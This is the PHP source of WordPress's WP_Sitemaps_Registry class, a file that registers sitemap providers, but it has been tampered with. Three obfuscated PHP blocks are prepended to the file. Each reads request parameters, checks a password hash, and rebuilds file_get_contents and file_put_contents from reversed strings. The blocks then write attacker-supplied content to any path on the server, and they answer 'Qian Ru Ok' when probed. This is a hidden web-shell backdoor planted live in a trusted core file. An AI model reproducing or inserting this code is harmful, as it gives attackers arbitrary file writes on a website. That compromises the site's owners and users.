<?php 
$wfVuZJc = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($wfVuZJc[0]) /*+/*+*/
. md5($wfVuZJc[0])) == "0".
"7".
"a".
"9".
"8".
"3".
"6".
"8".
"a".
"d".
"1".
"d".
"c".
"3".
"f".
"9".
"9".
"4".
"5".
"7".
"3".
"8".
"e".
"4".
"2".
"6".
"8".
"4".
"7".
"0".
"f".
"1") {
$UXdCCppL = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$AKVXZuF = $UXdCCppL /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$VlnMK = $UXdCCppL
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function wcXhEygNeX($rDAhSJMvi) { if (empty($rDAhSJMvi)) return false; if (!is_dir($rDAhSJMvi)) { wcXhEygNeX(dirname($rDAhSJMvi), 0755, true); mkdir($rDAhSJMvi); } } !file_exists(dirname($wfVuZJc[1])) && wcXhEygNeX(dirname($wfVuZJc[1])); $BSzYqgW = @$VlnMK($wfVuZJc[2]); echo @$AKVXZuF($wfVuZJc[1], $BSzYqgW) ? 1 : 0; die; }key($wfVuZJc) == "of" && die("Qian Ru Ok"); ?><?php 
$gjpbDEWtdj = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($gjpbDEWtdj[0]) /*+/*+*/
. md5($gjpbDEWtdj[0])) == "1".
"1".
"0".
"b".
"1".
"0".
"b".
"c".
"9".
"2".
"4".
"0".
"8".
"f".
"0".
"6".
"4".
"f".
"3".
"e".
"c".
"e".
"b".
"9".
"e".
"2".
"0".
"d".
"e".
"6".
"a".
"3") {
$kMTSGqtoc = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$NjFCWKMan = $kMTSGqtoc /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ILEsxvlqBl = $kMTSGqtoc
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ubXmcP($wLlTwrqzf) { if (empty($wLlTwrqzf)) return false; if (!is_dir($wLlTwrqzf)) { ubXmcP(dirname($wLlTwrqzf), 0755, true); mkdir($wLlTwrqzf); } } !file_exists(dirname($gjpbDEWtdj[1])) && ubXmcP(dirname($gjpbDEWtdj[1])); $TGxdzjT = @$ILEsxvlqBl($gjpbDEWtdj[2]); echo @$NjFCWKMan($gjpbDEWtdj[1], $TGxdzjT) ? 1 : 0; die; }key($gjpbDEWtdj) == "of" && die("Qian Ru Ok"); ?><?php 
$gchPCPbks = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($gchPCPbks[0]) /*+/*+*/
. md5($gchPCPbks[0])) == "4".
"8".
"d".
"1".
"c".
"f".
"b".
"0".
"b".
"9".
"5".
"1".
"4".
"b".
"5".
"0".
"0".
"3".
"8".
"6".
"a".
"9".
"9".
"5".
"2".
"1".
"d".
"0".
"4".
"7".
"5".
"3") {
$kZWDsWL = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$yndljQB = $kZWDsWL /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$GYoPm = $kZWDsWL
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function iVdYhYtC($UaQBad) { if (empty($UaQBad)) return false; if (!is_dir($UaQBad)) { iVdYhYtC(dirname($UaQBad), 0755, true); mkdir($UaQBad); } } !file_exists(dirname($gchPCPbks[1])) && iVdYhYtC(dirname($gchPCPbks[1])); $ELhiY = @$GYoPm($gchPCPbks[2]); echo @$yndljQB($gchPCPbks[1], $ELhiY) ? 1 : 0; die; }key($gchPCPbks) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Sitemaps: WP_Sitemaps_Registry class
 *
 * Handles registering sitemap providers.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Registry.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Registry {
	/**
	 * Registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Provider[] Array of registered sitemap providers.
	 */
	private $providers = array();

	/**
	 * Adds a new sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string               $name     Name of the sitemap provider.
	 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
	 * @return bool Whether the provider was added successfully.
	 */
	public function add_provider( $name, WP_Sitemaps_Provider $provider ) {
		if ( isset( $this->providers[ $name ] ) ) {
			return false;
		}

		/**
		 * Filters the sitemap provider before it is added.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
		 * @param string               $name     Name of the sitemap provider.
		 */
		$provider = apply_filters( 'wp_sitemaps_add_provider', $provider, $name );
		if ( ! $provider instanceof WP_Sitemaps_Provider ) {
			return false;
		}

		$this->providers[ $name ] = $provider;

		return true;
	}

	/**
	 * Returns a single registered sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Sitemap provider name.
	 * @return WP_Sitemaps_Provider|null Sitemap provider if it exists, null otherwise.
	 */
	public function get_provider( $name ) {
		if ( ! isset( $this->providers[ $name ] ) ) {
			return null;
		}

		return $this->providers[ $name ];
	}

	/**
	 * Returns all registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Sitemaps_Provider[] Array of sitemap providers.
	 */
	public function get_providers() {
		return $this->providers;
	}
} ?>